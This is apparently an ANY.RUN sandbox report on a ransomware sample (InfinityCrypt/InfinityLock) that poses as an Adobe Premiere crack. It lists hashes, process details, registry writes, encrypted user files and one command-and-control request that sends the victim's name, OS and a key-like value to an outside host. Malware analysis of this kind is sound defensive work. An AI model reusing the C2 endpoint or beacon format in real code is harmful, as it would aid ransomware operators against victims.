File name:

[email protected]

Full analysis: https://app.any.run/tasks/a13e8d11-6d29-455a-b545-ec87a4ca5a8f
Verdict: Malicious activity
Threats:

Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying.

Malware Trends Tracker     >>>
Analysis date: April 29, 2025, 20:46:45
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
ransomware
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 4 sections
MD5:

B805DB8F6A84475EF76B795B0D1ED6AE

SHA1:

7711CB4873E58B7ADCF2A2B047B090E78D10C75B

SHA256:

F5D002BFE80B48386A6C99C41528931B7F5DF736CD34094463C3F85DDE0180BF

SSDEEP:

1536:YoCFfC303p22fkZrRQpnqjoi7l832fbu9ZXILwVENbMz:rCVC303p22sZrRQpnviB832Du9WMONu

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (55.8)
.exe | Win64 Executable (generic) (21)
.scr | Windows screen saver (9.9)
.dll | Win32 Dynamic Link Library (generic) (5)
.exe | Win32 Executable (generic) (3.4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2017:06:14 15:34:11+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 11
CodeSize: 189440
InitializedDataSize: 25600
UninitializedDataSize: -
EntryPoint: 0x3035e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 2.3.77.2
ProductVersionNumber: 2.3.77.2
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
Comments: PremiereCrack
CompanyName: Adobe Inc.
FileDescription: PremiereCrack
FileVersion: 2.3.77.2
InternalName: PremiereCrack.exe
LegalCopyright: Copyright © Adobe 2017
LegalTrademarks: Adobe Inc.
OriginalFileName: PremiereCrack.exe
ProductName: PremiereCrack
ProductVersion: 2.3.77.2
AssemblyVersion: 2.3.77.2
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
3
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start [email protected] sppextcomobj.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
4228C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
4784"C:\Users\admin\AppData\Local\Temp\[email protected]" C:\Users\admin\AppData\Local\Temp\[email protected]
explorer.exe
User:
admin
Company:
Adobe Inc.
Integrity Level:
MEDIUM
Description:
PremiereCrack
Version:
2.3.77.2
Modules
Images
c:\users\admin\appdata\local\temp\[email protected]
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
5304"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe—SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
925
Read events
911
Write events
14
Delete events
0

Modification events

(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4784) [email protected]Key:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\Endermanch@InfinityCrypt_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
0
Suspicious files
54
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
4784[email protected]C:\Users\admin\Documents\characterl.rtf.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:64B0FCF454AF27125B6D9DE463AECBEC
SHA256:7EC3315BF47A4ED140F0C75F57F59B656536555CB4E532AB16EDEC50C2817A62
4784[email protected]C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:6A80FD6C4F172DD7BDF3277062CD43C5
SHA256:C5C7602DB7DE25854D453DDB7CD1E6A5A04D1D7E94E3675A7CBCA5F5EB18616C
4784[email protected]C:\Users\admin\Documents\Database1.accdb.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:6A406EFDFDF17DC9FFACCD15DEA32412
SHA256:A5A31BC61AA21035107AA0FC70690BF4224CE24EC1BD9B00DEC77EDFFD3437A1
4784[email protected]C:\Users\admin\Documents\Outlook Files\Outlook.pst.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:CB9FBB51638053BD05939622610B5F98
SHA256:84EB2DB1719305F69F485139CF029713CE84CD9A51D1BBE6590810844D40392D
4784[email protected]C:\Users\admin\Documents\expectedrecord.rtf.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:497659BF215C8629E084EFC20414E320
SHA256:73633A5401DD93F3E07BE9A4AEED45D8A337A9F75BBFDC77C8DE361D6DAE9329
4784[email protected]C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:317CE110CFCE2D46744C6698877D64BE
SHA256:AEC8419188FD28ADFC8083D9D72123576A2A3238DF3ABD385678B1DA10294F10
4784[email protected]C:\Users\admin\Documents\presidentchicago.rtf.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:491C17F36A910E68D9E8781E8CD2F206
SHA256:89B19A2A7C01D6D8E4EBAC8205FBEF52EFA71C38DACCBD5F778F3B86D9B300FE
4784[email protected]C:\Users\admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:A91B284B348BF2257205CFF41B9D7EBB
SHA256:3DE541B9806D6D2C80238A84D91F4D6329C6C0B50CD03E57B7C7CB58C58922E5
4784[email protected]C:\Users\admin\Documents\materialtypes.rtf.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:638FBBD62B00B1F286D0B5971B8ED527
SHA256:CD7CEA253122EB2D4689AA963192AF67AC742703D3AA360CEC214D23A50CAFEF
4784[email protected]C:\Users\admin\Documents\Outlook Files\Outlook1.pst.C428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0binary
MD5:2BB1641FA492054CDF438209C2596E03
SHA256:0C4EF290833AC5C2BE8025D45441B9CB8112D609E8E627EE9136FF8B100F26ED
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
40
DNS requests
13
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4784
[email protected]
GET
404
162.55.0.137:80
http://arizonacode.bplaced.net/rnsm/add.php?type=add&data=InfinityCrypt%7Cadmin%7CwWrVVxXxawBFxXxxcjKxXx7rsdxXxZiR7xXxBj6yxXx%7CMicrosoft%20Windows%2010%20Pro%7CC428C0EA7179835CF44B6AD71BFAB7BD6920E1308919C7A1E3610A3F2725E0B0%7C54
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
4784
[email protected]
162.55.0.137:80
arizonacode.bplaced.net
Hetzner Online GmbH
DE
whitelisted
6544
svchost.exe
40.126.32.136:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2112
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
whitelisted
google.com
  • 142.250.186.78
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
arizonacode.bplaced.net
  • 162.55.0.137
whitelisted
login.live.com
  • 40.126.32.136
  • 20.190.160.66
  • 20.190.160.2
  • 20.190.160.65
  • 20.190.160.130
  • 20.190.160.131
  • 40.126.32.74
  • 40.126.32.138
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
  • 2603:1030:408:7::3d
whitelisted
171.39.242.20.in-addr.arpa
  • —
unknown
d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa
  • —
unknown

Threats

PID
Process
Class
Message
—
—
Malware Command and Control Activity Detected
RANSOMWARE [ANY.RUN] InfinityLock Ransomware CnC Communication
No debug info